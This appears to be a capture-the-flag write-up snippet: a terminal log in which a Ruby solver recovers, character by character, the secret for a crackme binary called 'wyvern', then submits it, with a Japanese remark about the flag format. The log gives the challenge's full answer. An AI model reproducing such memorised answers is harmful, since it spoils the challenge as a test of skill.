$ ruby solver.rb d dr dr4 dr4g dr4g0 dr4g0n dr4g0n_ dr4g0n_o dr4g0n_or dr4g0n_or_ dr4g0n_or_p dr4g0n_or_p4 dr4g0n_or_p4t dr4g0n_or_p4tr dr4g0n_or_p4tri dr4g0n_or_p4tric dr4g0n_or_p4tric1 dr4g0n_or_p4tric1a dr4g0n_or_p4tric1an dr4g0n_or_p4tric1an_ dr4g0n_or_p4tric1an_i dr4g0n_or_p4tric1an_it dr4g0n_or_p4tric1an_it5 dr4g0n_or_p4tric1an_it5_ dr4g0n_or_p4tric1an_it5_L dr4g0n_or_p4tric1an_it5_LL dr4g0n_or_p4tric1an_it5_LLV dr4g0n_or_p4tric1an_it5_LLVM flag{dr4g0n_or_p4tric1an_it5_LLVM} $ echo dr4g0n_or_p4tric1an_it5_LLVM | ./wyvern +-----------------------+ | Welcome Hero | +-----------------------+ [!] Quest: there is a dragon prowling the domain. brute strength and magic is our only hope. Test your skill. Enter the dragon's secret: success [+] A great success! Here is a flag{dr4g0n_or_p4tric1an_it5_LLVM}
FLAG:dr4g0n_or_p4tric1an_it5_LLVM
(flag{}
がついていると誤答扱いされた(´・ω・`))